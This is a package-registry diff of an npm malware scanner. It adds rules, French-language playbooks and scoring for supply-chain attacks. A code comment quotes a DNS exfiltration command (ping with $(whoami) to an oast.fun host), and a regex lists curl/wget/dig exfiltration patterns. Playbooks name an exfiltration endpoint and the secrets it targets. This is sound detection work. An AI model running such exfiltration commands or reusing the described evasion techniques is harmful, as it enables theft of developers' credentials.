muaddib-scanner 2.10.93 → 2.10.95
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/monitor/classify.js +4 -1
- package/src/response/playbooks.js +10 -0
- package/src/rules/index.js +24 -0
- package/src/scanner/ast-detectors/handle-new-expression.js +29 -0
- package/src/scanner/ast-detectors/handle-post-walk.js +6 -0
- package/src/scanner/ast.js +14 -4
- package/src/scanner/package.js +10 -3
- package/src/scoring.js +15 -1
package/package.json
CHANGED
package/src/monitor/classify.js
CHANGED
|
@@ -63,7 +63,10 @@ const HIGH_CONFIDENCE_MALICE_TYPES = new Set([
|
|
|
63
63
|
'function_constructor_require', // new Function.constructor("require") (RCE evasion)
|
|
64
64
|
'newsletter_auto_follow', // Baileys WhatsApp newsletter hijack
|
|
65
65
|
// v2.10.93: Security review 2026-04-10→17 findings
|
|
66
|
-
'self_destruct_eval'
|
|
66
|
+
'self_destruct_eval', // dynamic exec + unlink __filename (csec anti-forensics)
|
|
67
|
+
// v2.10.94: MT-1 ceiling bypass for ltidi and csec under-threshold cases
|
|
68
|
+
'external_tarball_dep', // dep URL = tarball on third-party host (ltidi chain)
|
|
69
|
+
'function_runtime_args' // new Function('require','__dirname','__filename',...) pattern (csec)
|
|
67
70
|
]);
|
|
68
71
|
|
|
69
72
|
// Lifecycle compound types that indicate real malicious intent beyond a simple postinstall
|
|
@@ -886,6 +886,16 @@ const PLAYBOOKS = {
|
|
|
886
886
|
'CRITIQUE: Execution dynamique de code (eval/new Function/Module._compile) + auto-suppression du fichier execute (unlinkSync/renameSync sur __filename). ' +
|
|
887
887
|
'Pattern anti-forensique professionnel: le malware execute son payload obfusque puis efface ses traces. Campagne csec-crypto-toolkit (avril 2026) exfiltre .env, GITHUB_TOKEN, NPM_TOKEN, AWS/SSH keys vers csec-supply-chain-attack.vercel.app, puis unlinkSync(__filename). ' +
|
|
888
888
|
'Machine compromise si deja installe. Rotation immediate de TOUS les secrets (.env, tokens CI/CD, cles SSH). Verifier les .env des repertoires parents jusqu\'a 6 niveaux. Supprimer le package.',
|
|
889
|
+
|
|
890
|
+
function_runtime_args:
|
|
891
|
+
'CRITIQUE: new Function() appele avec les identifiants runtime Node (require, __dirname, __filename) passes comme arguments string literal + corps dynamique. ' +
|
|
892
|
+
'Pattern csec-crypto-toolkit: l\'attaquant injecte le contexte Node complet dans un payload obfusque execute en memoire, contournant la detection de require() standard. Aucun package legitime n\'utilise ce pattern. ' +
|
|
893
|
+
'Lire le contenu de l\'argument body. Tracer la source (souvent XOR/base64 decode). Isoler et supprimer.',
|
|
894
|
+
|
|
895
|
+
external_tarball_dep:
|
|
896
|
+
'CRITIQUE: Dependance declaree avec URL tarball (.tgz/.tar.gz) hebergee hors des registres npm legitimes (github.com, gitlab.com, bitbucket.org, registry.npmjs.org). ' +
|
|
897
|
+
'Pattern ltidi chain attack (avril 2026): le stub publie sur npm n\'a aucun install hook visible, la charge utile est hebergee sur un cloud storage (GCS, S3, CDN) et contourne entierement l\'audit du registre npm. ' +
|
|
898
|
+
'Verifier le contenu de la tarball distante avant toute installation. Supprimer le package. Signaler au registre npm.',
|
|
889
899
|
};
|
|
890
900
|
|
|
891
901
|
function getPlaybook(threatType) {
|
package/src/rules/index.js
CHANGED
|
@@ -2276,6 +2276,30 @@ const RULES = {
|
|
|
2276
2276
|
],
|
|
2277
2277
|
mitre: 'T1070.004'
|
|
2278
2278
|
},
|
|
2279
|
+
function_runtime_args: {
|
|
2280
|
+
id: 'MUADDIB-AST-090',
|
|
2281
|
+
name: 'Function() with Runtime Identifiers as Arguments',
|
|
2282
|
+
severity: 'CRITICAL',
|
|
2283
|
+
confidence: 'high',
|
|
2284
|
+
description: 'new Function() appele avec des identifiants runtime (require, __dirname, __filename, module, exports, process) passes comme arguments string literal, et un corps dynamique (variable, expression). Pattern csec-crypto-toolkit: l\'attaquant injecte le contexte Node complet dans un payload obfusque execute en memoire, contournant la detection require() standard. Aucun package legitime ne passe require + __filename a new Function.',
|
|
2285
|
+
references: [
|
|
2286
|
+
'https://attack.mitre.org/techniques/T1059.007/',
|
|
2287
|
+
'https://attack.mitre.org/techniques/T1027/'
|
|
2288
|
+
],
|
|
2289
|
+
mitre: 'T1059.007'
|
|
2290
|
+
},
|
|
2291
|
+
external_tarball_dep: {
|
|
2292
|
+
id: 'MUADDIB-PKG-020',
|
|
2293
|
+
name: 'External Tarball Dependency URL',
|
|
2294
|
+
severity: 'CRITICAL',
|
|
2295
|
+
confidence: 'high',
|
|
2296
|
+
description: 'Dependance declaree avec une URL tarball (.tgz/.tar.gz/.tar.bz2/.zip) hebergee hors des registres npm legitimes (github.com, gitlab.com, bitbucket.org, registry.npmjs.org, registry.yarnpkg.com). Pattern ltidi chain attack (avril 2026): le stub publie sur npm n\'a pas d\'install hook visible, la charge utile est hebergee sur un cloud storage (GCS, S3, CDN) et contourne entierement l\'audit du registre npm. Attention: MT-1 score ceiling (cap non-lifecycle a 35) bypasse via HIGH_CONFIDENCE_MALICE_TYPES.',
|
|
2297
|
+
references: [
|
|
2298
|
+
'https://attack.mitre.org/techniques/T1195.002/',
|
|
2299
|
+
'https://attack.mitre.org/techniques/T1105/'
|
|
2300
|
+
],
|
|
2301
|
+
mitre: 'T1195.002'
|
|
2302
|
+
},
|
|
2279
2303
|
version_99_preinstall: {
|
|
2280
2304
|
id: 'MUADDIB-PKG-019',
|
|
2281
2305
|
name: 'Dependency Confusion Version Indicator',
|
|
@@ -11,6 +11,35 @@ const {
|
|
|
11
11
|
|
|
12
12
|
function handleNewExpression(node, ctx) {
|
|
13
13
|
if (node.callee.type === 'Identifier' && node.callee.name === 'Function') {
|
|
14
|
+
// v2.10.94: detect new Function('require', '__dirname', '__filename', <dynamic>)
|
|
15
|
+
// csec-crypto-toolkit pattern. Gated by obfuscation signal to avoid FP on
|
|
16
|
+
// legitimate CommonJS module wrappers used by babel-register, ts-node, pirates,
|
|
17
|
+
// jest, nyc, vitest etc. which call new Function('module', 'exports', 'require',
|
|
18
|
+
// compiledCode). Those transpilers DO NOT have fromCharCode/base64 decode loops
|
|
19
|
+
// in the same file — csec does.
|
|
20
|
+
if (node.arguments.length >= 3) {
|
|
21
|
+
const RUNTIME_ARG_NAMES = new Set(['require', '__dirname', '__filename', 'module', 'exports', 'process']);
|
|
22
|
+
const bodyArg = node.arguments[node.arguments.length - 1];
|
|
23
|
+
const argNameLiterals = node.arguments.slice(0, -1)
|
|
24
|
+
.map(a => (a.type === 'Literal' && typeof a.value === 'string') ? a.value : null);
|
|
25
|
+
const runtimeArgCount = argNameLiterals.filter(v => v !== null && RUNTIME_ARG_NAMES.has(v)).length;
|
|
26
|
+
const bodyIsDynamic = bodyArg.type !== 'Literal';
|
|
27
|
+
// FP gate: require an obfuscation/decode signal in the same file.
|
|
28
|
+
// ctx.hasFromCharCode catches XOR/charcode loops (csec).
|
|
29
|
+
// ctx.hasBase64Decode catches Buffer.from(..., 'base64') patterns.
|
|
30
|
+
// ctx.hasZlibInflate catches zlib + base64 payloads.
|
|
31
|
+
const hasObfuscationContext = ctx.hasFromCharCode || ctx.hasBase64Decode || ctx.hasZlibInflate;
|
|
32
|
+
if (runtimeArgCount >= 2 && bodyIsDynamic && hasObfuscationContext) {
|
|
33
|
+
ctx.hasDynamicExec = true;
|
|
34
|
+
ctx.threats.push({
|
|
35
|
+
type: 'function_runtime_args',
|
|
36
|
+
severity: 'CRITICAL',
|
|
37
|
+
message: `new Function() passes runtime identifiers (${argNameLiterals.filter(Boolean).join(', ')}) to a dynamic body in a file containing decode/obfuscation patterns — csec-style obfuscated payload with full Node.js context.`,
|
|
38
|
+
file: ctx.relFile
|
|
39
|
+
});
|
|
40
|
+
return;
|
|
41
|
+
}
|
|
42
|
+
}
|
|
14
43
|
// Skip string literal args — zero-risk globalThis polyfills used by every bundler
|
|
15
44
|
if (!hasOnlyStringLiteralArgs(node)) {
|
|
16
45
|
ctx.hasDynamicExec = true;
|
|
@@ -135,6 +135,12 @@ function handlePostWalk(ctx) {
|
|
|
135
135
|
// B4: removed fetchOnlySafeDomains guard — compound requires fetch+chmod+exec, which is never legitimate
|
|
136
136
|
// C10: If file also contains hash/checksum verification, downgrade to HIGH — real droppers
|
|
137
137
|
// don't verify payload integrity; legitimate installers (esbuild, sharp) do.
|
|
138
|
+
// v2.10.95: hasHashVerification is now gated by presence of a comparison operator
|
|
139
|
+
// in the same file (see ast.js:211 — best-effort heuristic). No additional tier
|
|
140
|
+
// added: diagnostic on 545 benign packages showed download_exec_binary fires on
|
|
141
|
+
// only 3 packages (esbuild, yarn, @backstage/create-app) and their final score is
|
|
142
|
+
// dominated by other CRITICAL rules, so a MEDIUM tier here had 0 FPR impact.
|
|
143
|
+
// Full validation in data/fp-v2.10.95-validation.md.
|
|
138
144
|
if (ctx.hasRemoteFetch && ctx.hasChmodExecutable && ctx.hasExecSyncCall) {
|
|
139
145
|
ctx.threats.push({
|
|
140
146
|
type: 'download_exec_binary',
|
package/src/scanner/ast.js
CHANGED
|
@@ -205,10 +205,20 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
205
205
|
stringBuildVars: new Set(), // variables assigned from BinaryExpression with '+' (string concat)
|
|
206
206
|
// Audit v3 B2: Entropy split detection — high-entropy string concat + eval/decode
|
|
207
207
|
highEntropyConcatFound: false, // set when a concat chain with >=3 leaves and high combined entropy is found
|
|
208
|
-
// C10: Hash verification — legitimate binary installers verify checksums
|
|
209
|
-
//
|
|
210
|
-
//
|
|
211
|
-
|
|
208
|
+
// C10: Hash verification — legitimate binary installers verify checksums.
|
|
209
|
+
// v2.10.95: file-level heuristic durcie par un check de comparaison. Requires
|
|
210
|
+
// createHash+digest AND at least one comparison/assert/throw in the same file.
|
|
211
|
+
// THIS IS NOT A PROOF that the hash is actually verified — a malicious author
|
|
212
|
+
// can include a === or assert elsewhere in the file without comparing the
|
|
213
|
+
// digest result. This gate is best-effort and gains value only through the
|
|
214
|
+
// triple-gate in handle-post-walk.js (requires also fetchOnlySafeDomains).
|
|
215
|
+
// Proper fix would require function-scope AST tracking to confirm the
|
|
216
|
+
// comparison consumes the digest result — deferred until a dedicated
|
|
217
|
+
// taint-tracking PR.
|
|
218
|
+
hasHashVerification:
|
|
219
|
+
/\bcreateHash\s*\(/.test(content) &&
|
|
220
|
+
/\.digest\s*\(/.test(content) &&
|
|
221
|
+
/\b(===|!==|\.equals\s*\(|assert\.(strictEqual|equal|deepEqual|deepStrictEqual)\s*\(|\bthrow\b)/.test(content),
|
|
212
222
|
// GlassWorm: variation selector decoder pattern (.codePointAt + 0xFE00/0xE0100)
|
|
213
223
|
hasCodePointAt: false,
|
|
214
224
|
hasVariationSelectorConst: false,
|
package/src/scanner/package.js
CHANGED
|
@@ -119,15 +119,17 @@ async function scanPackageJson(targetPath) {
|
|
|
119
119
|
// v2.10.89: curl/wget + env/base64 exfiltration in lifecycle scripts
|
|
120
120
|
// Catches: apache-arrow-14 (score 9→CRITICAL), @signals-notebook (score 9→CRITICAL)
|
|
121
121
|
// Pattern: curl -d $(env|base64) URL, curl -X POST URL?env=$(env|base64 -w0)
|
|
122
|
+
// v2.10.94: extended to ping/nslookup/dig/host/getent — DNS exfil variants.
|
|
123
|
+
// Catches: koa-v3@9.4.0 which uses `ping -c 1 $(whoami).<hex>.oast.fun` instead of curl.
|
|
122
124
|
if (['preinstall', 'install', 'postinstall'].includes(scriptName) &&
|
|
123
|
-
/\b(curl|wget)\b/.test(scriptContent) &&
|
|
125
|
+
/\b(curl|wget|ping|nslookup|dig|host|getent)\b/.test(scriptContent) &&
|
|
124
126
|
(/\$\(.*\b(env|id|whoami|uname|hostname)\b/.test(scriptContent) ||
|
|
125
127
|
(/\bbase64\b/.test(scriptContent) && !/\|\s*(sh|bash)\b/.test(scriptContent)))) {
|
|
126
128
|
// Exclude curl|sh which is already caught by lifecycle_shell_pipe
|
|
127
129
|
threats.push({
|
|
128
130
|
type: 'curl_env_exfil',
|
|
129
131
|
severity: 'CRITICAL',
|
|
130
|
-
message: `Critical: "${scriptName}" uses curl/wget with env/base64
|
|
132
|
+
message: `Critical: "${scriptName}" uses DNS/HTTP exfil tool (curl/wget/ping/nslookup/dig) with env/base64 payload — credential theft via lifecycle script.`,
|
|
131
133
|
file: 'package.json'
|
|
132
134
|
});
|
|
133
135
|
}
|
|
@@ -355,8 +357,13 @@ async function scanPackageJson(targetPath) {
|
|
|
355
357
|
note = ' (unusual, verify source)';
|
|
356
358
|
}
|
|
357
359
|
|
|
360
|
+
// v2.10.94: External tarball on third-party host emits a distinct type
|
|
361
|
+
// so MT-1 score ceiling (caps non-lifecycle, non-HC packages at 35) can be
|
|
362
|
+
// bypassed via HIGH_CONFIDENCE_MALICE_TYPES. ltidi stubs have no install
|
|
363
|
+
// hooks, so the dep URL is the only signal and must be HC-classified.
|
|
364
|
+
const threatType = isExternalTarball ? 'external_tarball_dep' : 'dependency_url_suspicious';
|
|
358
365
|
threats.push({
|
|
359
|
-
type:
|
|
366
|
+
type: threatType,
|
|
360
367
|
severity,
|
|
361
368
|
message: `Dependency "${depName}" uses HTTP URL: ${depVersion}${note}`,
|
|
362
369
|
file: 'package.json'
|
package/src/scoring.js
CHANGED
|
@@ -118,7 +118,9 @@ const PACKAGE_LEVEL_TYPES = new Set([
|
|
|
118
118
|
'lifecycle_missing_script',
|
|
119
119
|
// v2.10.89: Security review compounds
|
|
120
120
|
'lifecycle_newsletter_hijack', 'lifecycle_env_exfil',
|
|
121
|
-
'curl_env_exfil', 'version_99_preinstall'
|
|
121
|
+
'curl_env_exfil', 'version_99_preinstall',
|
|
122
|
+
// v2.10.94: new package-level type for ltidi chain attack (dep URL on third-party host)
|
|
123
|
+
'external_tarball_dep'
|
|
122
124
|
]);
|
|
123
125
|
|
|
124
126
|
/**
|
|
@@ -254,6 +256,8 @@ const DIST_EXEMPT_TYPES = new Set([
|
|
|
254
256
|
'curl_env_exfil', // curl/wget env exfil in lifecycle (always malicious)
|
|
255
257
|
'function_constructor_require', // new Function.constructor("require") (always malicious)
|
|
256
258
|
'self_destruct_eval', // dynamic exec + unlink __filename (csec anti-forensics)
|
|
259
|
+
'function_runtime_args', // new Function('require','__dirname','__filename',...) + obfuscation (csec)
|
|
260
|
+
'external_tarball_dep', // dep URL tarball on third-party host (ltidi chain)
|
|
257
261
|
// Dangerous shell commands in dist/ are real threats, never bundler output
|
|
258
262
|
'dangerous_exec',
|
|
259
263
|
// Compound scoring rules — co-occurrence signals, never FP
|
|
@@ -894,6 +898,16 @@ function calculateRiskScore(deduped, intentResult) {
|
|
|
894
898
|
if (packageScore >= 25 && packageLevelThreats.some(t => t.severity === 'CRITICAL')) {
|
|
895
899
|
packageScore = Math.max(packageScore, 50);
|
|
896
900
|
}
|
|
901
|
+
// v2.10.94: Co-occurrence floor — 2+ distinct CRITICAL package-level types (different
|
|
902
|
+
// threat types, not duplicates) is a near-unambiguous malware signature. Lifts to 75
|
|
903
|
+
// (CRITICAL tier) so the final risk level reflects real severity instead of stopping
|
|
904
|
+
// at HIGH. Catches apache-arrow-14 (curl_env_exfil + lifecycle_env_exfil compound).
|
|
905
|
+
const criticalPkgTypes = new Set(
|
|
906
|
+
packageLevelThreats.filter(t => t.severity === 'CRITICAL').map(t => t.type)
|
|
907
|
+
);
|
|
908
|
+
if (criticalPkgTypes.size >= 2) {
|
|
909
|
+
packageScore = Math.max(packageScore, 75);
|
|
910
|
+
}
|
|
897
911
|
|
|
898
912
|
// 5. Cross-file bonus: aggregate signal from non-max files
|
|
899
913
|
// A package with 3 files each scoring 20 is more suspicious than 1 file scoring 20.
|